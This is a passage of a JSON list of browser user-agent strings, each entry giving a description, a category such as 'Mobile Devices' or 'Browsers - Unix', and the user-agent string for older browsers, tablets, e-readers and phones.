Version\\/12.10\"},{\"description\":\"QupZilla 1.7.0 (FreeBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (Unknown; UNIX BSD\\/SYSV system) AppleWebKit\\/538.1 (KHTML, like Gecko) QupZilla\\/1.7.0 Safari\\/538.1\"},{\"description\":\"Seamonkey 1.1.8 (Mozilla) (SunOS 32bit)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.12) Gecko\\/20080303 SeaMonkey\\/1.1.8\"},{\"description\":\"Seamonkey 2.25 (Firefox\\/28.0) (FreeBSD)\",\"kind\":\"Browsers - Unix\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD i386; rv:28.0) Gecko\\/20100101 Firefox\\/28.0 SeaMonkey\\/2.25\"},{\"description\":\"Bolt 2.8 (webkit 534.6) (Sony Ericsson K800i)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; BOLT\\/2.800) AppleWebKit\\/534.6 (KHTML, like Gecko) Version\\/5.0 Safari\\/534.6.3\"},{\"description\":\"Chrome 35.0 (Samsung SM-T537A) - Android 4.4.2 -\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; SAMSUNG-SM-T537A Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML like Gecko) Chrome\\/35.0.1916.141 Safari\\/537.36\"},{\"description\":\"Chrome 60.0 - Pixel XL OPR6 - Android 8.0.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 8.0.0; Pixel XL Build\\/OPR6.170623.012) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.107 Mobile Safari\\/537.36\"},{\"description\":\"Edge 12.0 (webkit 537.36) Windows Phone OS 10.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.71 Mobile Safari\\/537.36 Edge\\/12.0\"},{\"description\":\"Firefox 35.0 - Android\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:35.0) Gecko\\/35.0 Firefox\\/35.0\"},{\"description\":\"IEMobile 6.12 (Win CE) (with zune id)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.12; Microsoft ZuneHD 4.3)\"},{\"description\":\"EMobile 7.11 (MSIE 6 - Win CE)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)\"},{\"description\":\"IEMobile 7.0 (MSIE 7.0) - WinPhone OS 7.0 - Asus Galaxy\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident\\/3.1; IEMobile\\/7.0) Asus;Galaxy6\"},{\"description\":\"IEMobile 7.5 (MSIE 9 - WP7.5)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident\\/5.0; IEMobile\\/9.0)\"},{\"description\":\"IEMobile 9.0 - WinPhone OS 7.5\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident\\/5.0; IEMobile\\/9.0)\"},{\"description\":\"IEMobile 10.0 - WinPhone OS 8.0 - ARM\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident\\/6.0; IEMobile\\/10.0; ARM; Touch)\"},{\"description\":\"EudoraWeb 2.1 (PalmOS)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2.1\"},{\"description\":\"Firefox 4.0.1 (Win CE)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1\"},{\"description\":\"Firefox Fennec 1.0.a1 (Linux arm)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux armv61; en-US; rv:1.9.1b2pre) Gecko\\/20081015 Fennec\\/1.0a1\"},{\"description\":\"Firefox Fennec 2.0.1 (Maemo arm)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Maemo; Linux armv7l; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1 Fennec\\/2.0.1\"},{\"description\":\"Firefox Fennec 10.0.1 (Maemo arm)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Maemo; Linux armv7l; rv:10.0.1) Gecko\\/20100101 Firefox\\/10.0.1 Fennec\\/10.0.1\"},{\"description\":\"Firefox 48.0 - Android 6.0.1 (Samsung SM-G935F)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Mobile; rv:48.0) Gecko\\/48.0 Firefox\\/48.0\"},{\"description\":\"Minimo 0.016 (Win CE)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1a3) Gecko\\/20060610 Minimo\\/0.016\"},{\"description\":\"Minimo 0.020 (Linux)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko\\/20070619 Minimo\\/0.020\"},{\"description\":\"Minimo 0.025 (Linux arm)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux arm7tdmi; rv:1.8.1.11) Gecko\\/20071130 Minimo\\/0.025\"},{\"description\":\"NetFront 3.0 (PalmOS)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (PDA; PalmOS\\/sony\\/model prmr\\/Revision:1.1.54 (en)) NetFront\\/3.0\"},{\"description\":\"Opera 9.51 beta (Windows)\",\"kind\":\"Mobile Devices\",\"ua\":\"Opera\\/9.51 Beta (Microsoft Windows; PPC; Opera Mobi\\/1718; U; en)\"},{\"description\":\"Opera 9.60 Mini 4.1 beta (Windows)\",\"kind\":\"Mobile Devices\",\"ua\":\"Opera\\/9.60 (J2ME\\/MIDP; Opera Mini\\/4.1.11320\\/608; U; en) Presto\\/2.2.0\"},{\"description\":\"Opera 9.60 Mini 4.2 J2ME\\/MIDP\",\"kind\":\"Mobile Devices\",\"ua\":\"Opera\\/9.60 (J2ME\\/MIDP; Opera Mini\\/4.2.14320\\/554; U; cs) Presto\\/2.2.0\"},{\"description\":\"Opera 10.00 Mobi - SymbOS\",\"kind\":\"Mobile Devices\",\"ua\":\"Opera\\/9.80 (S60; SymbOS; Opera Mobi\\/499; U; ru) Presto\\/2.4.18 Version\\/10.00\"},{\"description\":\"Opera 10.61 Mini 5.1 (J2ME\\/MIDP)\",\"kind\":\"Mobile Devices\",\"ua\":\"Opera\\/10.61 (J2ME\\/MIDP; Opera Mini\\/5.1.21219\\/19.999; en-US; rv:1.9.3a5) WebKit\\/534.5 Presto\\/2.6.30\"},{\"description\":\"Opera 11.1010 Mini 7.5 (Android)\",\"kind\":\"Mobile Devices\",\"ua\":\"Opera\\/9.80 (Android; Opera Mini\\/7.5.33361\\/31.1543; U; en) Presto\\/2.8.119 Version\\/11.1010\"},{\"description\":\"Opera 12.16 Mini 8.0 (J2ME\\/MIDP)\",\"kind\":\"Mobile Devices\",\"ua\":\"Opera\\/9.80 (J2ME\\/MIDP; Opera Mini\\/8.0.35626\\/37.8918; U; en) Presto\\/2.12.423 Version\\/12.16\"},{\"description\":\"Opera 30.0 (Android)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; Nexus 7 Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.78 Safari\\/537.36 OPR\\/30.0.1856.93524\"},{\"description\":\"Opera Mini 9.0 (Android)\",\"kind\":\"Mobile Devices\",\"ua\":\"Opera\\/9.80 (Android; Opera Mini\\/9.0.1829\\/66.318; U; en) Presto\\/2.12.423 Version\\/12.16\"},{\"description\":\"Opera Mobi 1040 (Linux i686)\",\"kind\":\"Mobile Devices\",\"ua\":\"Opera\\/9.80 (Linux i686; Opera Mobi\\/1040; U; en) Presto\\/2.5.24 Version\\/10.00\"},{\"description\":\"Polaris 6.01\",\"kind\":\"Mobile Devices\",\"ua\":\"POLARIS\\/6.01 (BREW 3.1.5; U; en-us; LG; LX265; POLARIS\\/6.01\\/WAP) MMP\\/2.0 profile\\/MIDP-2.1 Configuration\\/CLDC-1.1\"},{\"description\":\"Puffin 2.9174AP - Android - (AP=Android Phone)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit\\/534.35 (KHTML, like Gecko) Chrome\\/11.0.696.65 Safari\\/534.35 Puffin\\/2.9174AP\"},{\"description\":\"Puffin 2.9174AT - Android - (AT=Android Tablet)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit\\/534.35 (KHTML, like Gecko) Chrome\\/11.0.696.65 Safari\\/534.35 Puffin\\/2.9174AT\"},{\"description\":\"Puffin 3.9174IP - iOS 6_1 - (IP=iphone)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 6_1 like Mac OS X; en-HK) AppleWebKit\\/534.35 (KHTML, like Gecko) Chrome\\/11.0.696.65 Safari\\/534.35 Puffin\\/3.9174IP Mobile\"},{\"description\":\"Puffin 3.9174IT - (says Linux) - (IT=iOS tablet)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-AU) AppleWebKit\\/534.35 (KHTML, like Gecko) Chrome\\/11.0.696.65 Safari\\/534.35 Puffin\\/3.9174IT\"},{\"description\":\"Puffin 2.0.5603M - Linux - (M=mobile)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-gb) AppleWebKit\\/534.35 (KHTML, like Gecko) Chrome\\/11.0.696.65 Safari\\/534.35 Puffin\\/2.0.5603M\"},{\"description\":\"Puffin 4.5.0IT - (says Linux) - (IT=iOS tablet)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/30.0.1599.114 Safari\\/537.36 Puffin\\/4.5.0IT\"},{\"description\":\"Mobile Safari 530.17 (Android)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.0; en-us; Droid Build\\/ESD20) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"description\":\"Safari 533 - iPad - iOS 4_2_1)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"description\":\"Safari 533.17 - iPhone - iOS 4_2_1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"description\":\"Safari 6 (8536.25) - Apple iPad 2 - iOS 6_0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A5355d Safari\\/8536.25\"},{\"description\":\"UCBrowser 2.9.0 - Trident\\/MSIE 9.0 - WindowsPhone 7\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; XBLWP7; ZuneWP7) UCBrowser\\/2.9.0.263\"},{\"description\":\"UCBrowser 8.6.1 - Webkit 533 - Android 2.3.3\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-us ; LS670 Build\\/GRI40) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\\/UCBrowser\\/8.6.1.262\\/145\\/355\"},{\"description\":\"Acer Iconia - Android - 3.0.1 - AppleWebKit 534.13\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build\\/HRI66) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"description\":\"(device unknown) - Android 4.1 - AppleWebKit 534.30\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1; en-us; sdk Build\\/MR1) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.1 Safari\\/534.30\"},{\"description\":\"(device unknown) - Android 4.2 - Safari 535.19\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2; en-us; sdk Build\\/MR1) AppleWebKit\\/535.19 (KHTML, like Gecko) Version\\/4.2 Safari\\/535.19\"},{\"description\":\"(device unknown) - Android - Puffin 2.9174AT (AT=android tablet)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit\\/534.35 (KHTML, like Gecko) Chrome\\/11.0.696.65 Safari\\/534.35 Puffin\\/2.9174AT\"},{\"description\":\"Apple iPad - iOS - Puffin\\/3.9174IT (IT=ios tablet)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-AU) AppleWebKit\\/534.35 (KHTML, like Gecko) Chrome\\/11.0.696.65 Safari\\/534.35 Puffin\\/3.9174IT\"},{\"description\":\"Apple iPad 1 - iOS 3.2 - Safari 531\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B334b Safari\\/531.21.10\"},{\"description\":\"Apple iPad 1 - iOS 4_2_1 - Safari 533\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"description\":\"Apple iPad 2 - iOS 4_3 - Safari 533\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8F190 Safari\\/6533.18.5\"},{\"description\":\"Apple iPad - iOS 5_1 - Safari 5.1 (7534.48.3)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko ) Version\\/5.1 Mobile\\/9B176 Safari\\/7534.48.3\"},{\"description\":\"Apple iPad 2 - iOS 6_0 - Safari 6 (8536.25)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A5355d Safari\\/8536.25\"},{\"description\":\"Apple iPad - iOS 8_0_2 - Safari 7 (9537.53)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_0_2 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML like Gecko) Mobile\\/12A405 Version\\/7.0 Safari\\/9537.53\"},{\"description\":\"Apple iPad - iOS 8_4 - Safari 8 (600.1)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12H321 Safari\\/600.1.4\"},{\"description\":\"Apple iPad - iOS 9_3 - Safari 9 (601.1)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13F69 Safari\\/601.1\"},{\"description\":\"Apple iPad - iOS 10_0 - CriOS 49.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit\\/601.1 (KHTML, like Gecko) CriOS\\/49.0.2623.109 Mobile\\/14A5335b Safari\\/601.1.46\"},{\"description\":\"Apple iPad - iOS 11_0 - Safari 11.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5362a Safari\\/604.1\"},{\"description\":\"Apple iPad - Puffin 4.5.0IT - (says Linux) - (IT=iOS tablet)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/30.0.1599.114 Safari\\/537.36 Puffin\\/4.5.0IT\"},{\"description\":\"Barnes & Noble Nook Color - (Masked: IDs as: OS_X 10_5_7) - Safari 530.17\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_7;en-us) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Safari\\/530.17\"},{\"description\":\"HP Touchpad 1.0 - WebOS 3.0.2 - wOSBrowser 234.40\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (hp-tablet; Linux; hpwOS\\/3.0.2; U; de-DE) AppleWebKit\\/534.6 (KHTML, like Gecko) wOSBrowser\\/234.40.1 Safari\\/534.6 TouchPad\\/1.0\"},{\"description\":\"Kindle Fire - Android 4.0.3 - Silk 2.1 (AppleWebKit 535.19)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; KFTT Build\\/IML74K) AppleWebKit\\/535.19 (KHTML, like Gecko) Silk\\/2.1 Mobile Safari\\/535.19 Silk-Accelerated=true\"},{\"description\":\"LG V410 Tablet - Android 4.4 - Chrome 30\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; LG-V410 Build\\/KOT49I.V41010d) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/30.0.1599.103 Safari\\/537.36\"},{\"description\":\"Motorola Xoom - Android 3.0.1 - Mobile Safari 523.12\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.0; en-us; Xoom Build\\/HRI39) AppleWebKit\\/525.10  (KHTML, like Gecko) Version\\/3.0.4 Mobile Safari\\/523.12.2\"},{\"description\":\"Nook Tablet - Android 4.0.4 - Chrome 42\\/Safari 533.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.0.4; BNTV400 Build\\/IMM76L) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.111 Safari\\/537.36\"},{\"description\":\"RIM (Blackberry) Playbook - OS 2.1.0 - Safari 536.2+\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (PlayBook; U; RIM Tablet OS 2.1.0; en-US) AppleWebKit\\/536.2+ (KHTML like Gecko) Version\\/7.2.1.0 Safari\\/536.2+\"},{\"description\":\"Samsung Galaxy - Android 1.5 - Mobile Safari 525.20.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 1.5; de-de; Galaxy Build\\/CUPCAKE) AppleWebKit\\/528.5  (KHTML, like Gecko) Version\\/3.1.2 Mobile Safari\\/525.20.1\"},{\"description\":\"Samsung Galaxy - Android 2.2 - Mobile Safari 533.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-ca; GT-P1000M Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"description\":\"Samsung Galaxy (Verizon) - Android 2.2 - Mobile Safari 533.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2; en-us; SCH-I800 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"description\":\"Galaxy GT-P5210 tablet - Android 4.4.2 - AppleWebKit 534.30\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; GT-P5210 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"description\":\"Samsung GT-P7100 - Android 3.0.1 - AppleWebKit 534.13\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.0.1; en-us; GT-P7100 Build\\/HRI83) AppleWebkit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"description\":\"Samsung SM-T530NU - Android 5.0.2 - Chrome 38.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.0.2; SAMSUNG SM-T530NU Build\\/LRX22G) AppleWebKit\\/537.36 (KHTML, like Gecko) SamsungBrowser\\/3.2 Chrome\\/38.0.2125.102 Safari\\/537.36\"},{\"description\":\"Iconia Tablet - Android - 3.0.1 - AppleWebKit 534.13\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build\\/HRI66) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"description\":\"Kindle 2.0 - Linux\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/4.0 (compatible; Linux 2.6.22) NetFront\\/3.4 Kindle\\/2.0 (screen 600x800)\"},{\"description\":\"Kindle 3.0 - AppleWebKit 528.5 - Linux\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux U; en-US)  AppleWebKit\\/528.5  (KHTML, like Gecko, Safari\\/528.5 ) Version\\/4.0 Kindle\\/3.0 (screen 600x800; rotate)\"},{\"description\":\"Kindle 3.0+ - Safari 5.0 (AppleWebKit 531.2) - Android\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux armv7l like Android; en-us) AppleWebKit\\/531.2+ (KHTML, like Gecko) Version\\/5.0 Safari\\/533.2+ Kindle\\/3.0+\"},{\"description\":\"Kindle Fire - Silk\\/2.1 (AppleWebKit 535.19) - Android\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; KFTT Build\\/IML74K) AppleWebKit\\/535.19 (KHTML, like Gecko) Silk\\/2.1 Mobile Safari\\/535.19 Silk-Accelerated=true\"},{\"description\":\"iPad 1 - iOS 3.2 - Safari 531\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B334b Safari\\/531.21.10\"},{\"description\":\"iPad 1 - iOS 4_2 - Safari 533\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"description\":\"iPad 2 - iOS 4_3 - Safari 533\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8F190 Safari\\/6533.18.5\"},{\"description\":\"iPad 2 - iOS 5_0 - Safari 7.2\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU iPad OS 5_0_1 like Mac OS X; en-us) AppleWebKit\\/535.1+ (KHTML like Gecko) Version\\/7.2.0.0 Safari\\/6533.18.5\"},{\"description\":\"iPad - iOS 6_0 - Safari 6.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A5355d Safari\\/8536.25\"},{\"description\":\"iPad - iOS 7_0 - Safari 6 (8536.25)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_0 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) CriOS\\/30.0.1599.12 Mobile\\/11A465 Safari\\/8536.25 (3B92C18B-D9DE-4CB7-A02A-22FD2AF17C8F)\"},{\"description\":\"iPad - iOS 7_1 - Safari 7 (9537.53)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit\\/537.51.2 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11D257 Safari\\/9537.53\"},{\"description\":\"iPad - iOS 8_0 - Safari 7 (9537.53)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_0_2 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML like Gecko) Mobile\\/12A405 Version\\/7.0 Safari\\/9537.53\"},{\"description\":\"iPad - iOS 8_4 - Safari 8 (600.1)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12H321 Safari\\/600.1.4\"},{\"description\":\"iPad - iOS 9_3 - Safari 9 (601.1)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13F69 Safari\\/601.1\"},{\"description\":\"iPad - Puffin 4.5.0IT - (says Linux) - (IT=iOS tablet)\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/30.0.1599.114 Safari\\/537.36 Puffin\\/4.5.0IT\"},{\"description\":\"iPhone - iOS 1.0 - Safari 3.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit\\/420  (KHTML, like Gecko) Version\\/3.0 Mobile\\/1A543a Safari\\/419.3\"},{\"description\":\"iPhone - iOS 2.0 - Safari 3.1\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 2_0 like Mac OS X; en-us) AppleWebKit\\/525.18.1 (KHTML, like Gecko) Version\\/3.1.1 Mobile\\/5A347 Safari\\/525.200\"},{\"description\":\"iPhone - iOS 3.0 - Safari 4.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit\\/528.18 (KHTML, like Gecko) Version\\/4.0 Mobile\\/7A341 Safari\\/528.16\"},{\"description\":\"iPhone - iOS 4_0 - Safari 4.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit\\/532.9 (KHTML, like Gecko) Version\\/4.0.5 Mobile\\/8A293 Safari\\/531.22.7\"},{\"description\":\"iPhone - iOS 4_2_1 - Safari 533.17\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"description\":\"iPhone - iOS 5_1_1 - Chrome (crios) 19.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 5_1_1 like Mac OS X; da-dk) AppleWebKit\\/534.46.0 (KHTML, like Gecko) CriOS\\/19.0.1084.60 Mobile\\/9B206 Safari\\/7534.48.3\"},{\"description\":\"iPhone - iOS 6_0 - Safari 6.0\",\"kind\":\"Mobile Devices\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A403 Safari\\/8536.25\"},{\"description\":\"iPhone - iOS 6 - UCWEB 